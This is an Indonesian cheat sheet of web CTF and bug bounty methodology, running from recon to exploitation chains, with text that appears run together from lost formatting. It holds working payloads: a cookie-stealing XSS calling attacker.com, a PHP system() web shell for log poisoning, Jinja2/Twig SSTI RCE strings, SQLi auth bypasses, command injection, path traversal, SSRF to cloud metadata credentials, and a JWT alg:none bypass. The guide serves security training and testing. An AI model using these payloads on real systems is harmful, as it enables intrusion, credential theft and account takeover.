Pendekatan sistematis untuk Web CTF dan Bug Bounty — dari scope review hingga exploitation path. Step-by-step berdasarkan pola dari kompetisi nyata.
Server, X-Powered-By, X-Frame-Options/robots.txt, /sitemap.xml, /.well-known/robots.txt, HTML comment, atau base64 di cookie awal.
whatweb -a 3 <url>.php, .aspx, .jsp, .pyPHPSESSID, JSESSIONID, ASP.NET_SessionId/package.json, /composer.json, /requirements.txt/wp-admin, /admin/loginffuf -u https://TARGET/FUZZ -w common.txt -mc 200,301,302,403-e .php,.html,.bak,.txt,.zip,.old,.backup/index.php.bak, /config.php~, /.env/.git/ — jika accessible, dump dengan git-dumper/api/, /api/v1/, /v1/, /graphql/flag.txt, /secret.php, /admin.phparjun -u https://TARGET/page/.git/ expose source code → audit for hardcoded creds atau SQLi. /.env expose DB credentials.
?debug=1, ?admin=1, ?test=trueReferer, X-Forwarded-For, User-Agent?role=user → ubah ke ?role=admin. X-Forwarded-For: 127.0.0.1 bypass IP restriction.
admin:admin, admin:password, test:testadmin'-- - di username fieldalg ke nonealg:none → hapus signature. Login form → SQLi ' OR 1=1-- -.
' di setiap parameter — perhatikan error message{{7*7}}, ${7*7}, #{7*7} — jika output 49 = SSTI!;id, |id, `id` di parameter<script>alert(1)</script> dan cek jika reflected?file=../../../etc/passwd di parameter file/pagesqlmap -r request.txt --dbs/user/100 → /user/1, /user/2"role":"user" → "role":"admin"/admin, /admin/users, /dashboard/admin{"role":"admin"} di registration/update requestGET /api/notes/1337 milik user lain tapi accessible → IDOR. Admin endpoint tidak dicek server-side → Forced Browsing.
python3 -m http.server 8000 atau requestbin<script>fetch('http://attacker.com/?c='+document.cookie)</script>innerHTML, eval, document.writewindow.postMessage handler — apakah ada validasi origin?http://127.0.0.1/, http://localhost/adminhttp://169.254.169.254/latest/meta-data/.php web shell, bypass dengan double extension: shell.php.jpg.phtml, .php5O:4..., Java: rO0...)/flag.txt, /flag, /etc/flag, home directory userflag, secret, tokenprintenv atau baca /proc/self/environgrep -r "CTF{" / atau grep -r "flag" /var/www/curl atau Burp Repeater request yang bisa direproducing dengan mudahcat /flag.txt. SQLi → dump DB → table flags berisi flag. SSRF → /proc/self/environ → flag sebagai env variable.
LFI ditemukan → Log poisoning via User-Agent header (<?php system($_GET['c']); ?>) → Baca /var/log/apache2/access.log via LFI → RCE via parameter ?c=id → cat /flag.txt
Stored XSS di feedback form → Bot admin membuka report → Script mencuri cookie → Login sebagai admin → Flag di admin panel atau admin dapat membaca file user lain
SSRF via URL parameter → http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name → Dapat AWS credentials → aws s3 ls → Download S3 bucket berisi flag
Detect template engine dengan {{7*7}} → Jinja2 ({{config.__class__.__init__.__globals__['os'].popen('id').read()}}) atau Twig ({{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}) → RCE → flag
Akses /.git/HEAD dapat response → git_dumper.py dump repo → Baca source code → Temukan hardcoded DB creds atau API key → Login ke DB / API dengan credential tersebut → akses flag
Login form dengan admin'-- - → bypass auth → akses admin panel → flag ada di dashboard. Atau: UNION-based extract hash → crack hash → login sebagai admin
1. Selalu coba payload paling basic dulu (', {{7*7}}, ;id) sebelum yang kompleks.
2. Baca source code JavaScript — sering ada API endpoint, token, atau logika yang vulnerable.
3. Jika stuck, mundur ke langkah 3 (content discovery) — mungkin ada endpoint yang terlewat.
4. Error message adalah emas — beri tahu stack trace, query, path, atau teknologi yang digunakan.
5. Di Bug Bounty: report dengan impact yang jelas (bukan hanya "XSS ditemukan" tapi "XSS → account takeover admin").